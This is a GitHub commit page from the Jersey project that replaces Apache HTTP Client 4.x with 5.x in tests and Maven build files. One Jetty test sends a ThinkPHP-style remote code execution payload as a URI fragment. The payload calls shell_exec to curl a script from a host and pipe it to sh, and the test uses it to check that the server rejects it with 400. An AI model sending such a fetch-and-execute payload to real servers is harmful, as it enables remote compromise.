Skip to content

Commit

Permalink
Issue eclipse-ee4j#4897 - Support for Apache HTTP Client 5.x
Browse files Browse the repository at this point in the history
Remove other usages of HTTP Client 4.x and replace them with HTTP Client 5.x

Signed-off-by: Steffen Nießing <zuniquex@protonmail.com>
  • Loading branch information
zUniQueX committed Dec 29, 2021
1 parent 22e4b7b commit 5818462
Show file tree
Hide file tree
Showing 10 changed files with 36 additions and 160 deletions.
4 changes: 2 additions & 2 deletions containers/jetty-http/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -50,8 +50,8 @@
<artifactId>jetty-continuation</artifactId>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<groupId>org.apache.httpcomponents.client5</groupId>
<artifactId>httpclient5</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,11 +16,11 @@

package org.glassfish.jersey.jetty;

import org.apache.http.HttpHost;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicHttpRequest;
import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
import org.apache.hc.core5.http.HttpHost;
import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
import org.junit.Test;

import javax.ws.rs.GET;
Expand Down Expand Up @@ -57,12 +57,12 @@ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ ".0.1/ldr.sh|sh";
BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
CloseableHttpClient client = HttpClientBuilder.create().build();

CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);

assertEquals(400, response.getStatusLine().getStatusCode());
assertEquals(400, response.getCode());
}

@Test
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
/*
* Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Distribution License v. 1.0, which is available at
Expand Down Expand Up @@ -36,6 +36,7 @@
import javax.ws.rs.core.UriBuilder;
import javax.ws.rs.sse.SseEventSource;

import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
import org.glassfish.jersey.apache.connector.ApacheClientProperties;
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
import org.glassfish.jersey.client.ClientConfig;
Expand All @@ -44,7 +45,6 @@
import org.glassfish.jersey.test.JerseyTest;
import org.glassfish.jersey.test.external.ExternalTestContainerFactory;

import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.junit.Test;

import static org.hamcrest.CoreMatchers.containsString;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
/*
* Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Distribution License v. 1.0, which is available at
Expand Down Expand Up @@ -30,6 +30,7 @@
import javax.ws.rs.core.Response;
import javax.ws.rs.core.UriBuilder;

import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
import org.glassfish.jersey.apache.connector.ApacheClientProperties;
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
import org.glassfish.jersey.client.ClientConfig;
Expand All @@ -39,7 +40,6 @@
import org.glassfish.jersey.test.JerseyTest;
import org.glassfish.jersey.test.external.ExternalTestContainerFactory;

import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.junit.Test;

import static org.hamcrest.CoreMatchers.containsString;
Expand Down
1 change: 0 additions & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -2124,7 +2124,6 @@
<hk2.osgi.version>org.glassfish.hk2.*;version="[2.5,4)"</hk2.osgi.version>
<hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[2.5,4)"</hk2.jvnet.osgi.version>
<hk2.config.version>5.1.0</hk2.config.version>
<httpclient.version>4.5.13</httpclient.version>
<httpclient5.version>5.1.2</httpclient5.version>
<jackson.version>2.13.0</jackson.version>
<jackson1.version>1.9.13</jackson1.version>
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
/*
* Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
Expand Down Expand Up @@ -34,16 +34,16 @@
import javax.ws.rs.ext.MessageBodyReader;
import javax.ws.rs.ext.Provider;

import org.apache.hc.client5.http.classic.methods.HttpPost;
import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
import org.apache.hc.core5.http.io.entity.ByteArrayEntity;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.message.internal.ReaderWriter;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.HttpClientBuilder;
import org.junit.Test;
import static org.junit.Assert.assertEquals;

Expand Down Expand Up @@ -115,13 +115,13 @@ protected Application configure() {
@Test
public void testDefaultContentTypeForReader() throws Exception {
final HttpPost httpPost = new HttpPost(UriBuilder.fromUri(getBaseUri()).path("resource/plain").build());
httpPost.setEntity(new ByteArrayEntity("value".getBytes()));
httpPost.setEntity(new ByteArrayEntity("value".getBytes(), null));
httpPost.removeHeaders("Content-Type");

final HttpClient httpClient = HttpClientBuilder.create().build();
final HttpResponse response = httpClient.execute(httpPost);
final CloseableHttpClient httpClient = HttpClientBuilder.create().build();
final CloseableHttpResponse response = httpClient.execute(httpPost);

assertEquals(200, response.getStatusLine().getStatusCode());
assertEquals(200, response.getCode());
assertEquals("value;null", ReaderWriter.readFromAsString(response.getEntity().getContent(), null));
}
}
13 changes: 0 additions & 13 deletions tests/integration/jersey-4321/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -51,19 +51,6 @@
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-apache-connector</artifactId>
<exclusions>
<exclusion>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
</exclusion>
</exclusions>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<!-- Do not change the version, this is backward compatibility test that is to pass on 4.5 -->
<version>4.5</version>
<scope>test</scope>
</dependency>
</dependencies>
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
/*
* Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
Expand All @@ -20,9 +20,10 @@
import java.net.URISyntaxException;
import java.util.concurrent.CountDownLatch;

import org.apache.http.conn.ConnectionRequest;
import org.apache.http.conn.routing.HttpRoute;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.apache.hc.client5.http.HttpRoute;
import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
import org.apache.hc.client5.http.io.LeaseRequest;
import org.apache.hc.core5.util.Timeout;
import org.eclipse.microprofile.rest.client.RestClientBuilder;
import org.glassfish.jersey.apache.connector.ApacheClientProperties;
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
Expand Down Expand Up @@ -50,9 +51,15 @@ public void testConnector() throws URISyntaxException {
PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager() {

@Override
public ConnectionRequest requestConnection(HttpRoute route, Object state) {
public LeaseRequest lease(String id, HttpRoute route, Object state) {
countDownLatch.countDown();
return super.requestConnection(route, state);
return super.lease(id, route, state);
}

@Override
public LeaseRequest lease(String id, HttpRoute route, Timeout requestTimeout, Object state) {
countDownLatch.countDown();
return super.lease(id, route, requestTimeout, state);
}

};
Expand Down
25 changes: 0 additions & 25 deletions tests/osgi/functional/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -173,31 +173,6 @@
<scope>test</scope>
</dependency>

<!-- dependecies for OSGi test with Apache connector -->
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-apache-connector</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.ops4j.pax.logging</groupId>
<artifactId>pax-logging-api</artifactId>
<scope>test</scope>
<version>1.11.5</version>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpcore-osgi</artifactId>
<scope>test</scope>
<version>4.4.6</version>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient-osgi</artifactId>
<scope>test</scope>
<version>${httpclient.version}</version>
</dependency>

<dependency>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>jersey-media-json-jackson</artifactId>
Expand Down

This file was deleted.

0 comments on commit 5818462

Please sign in to comment.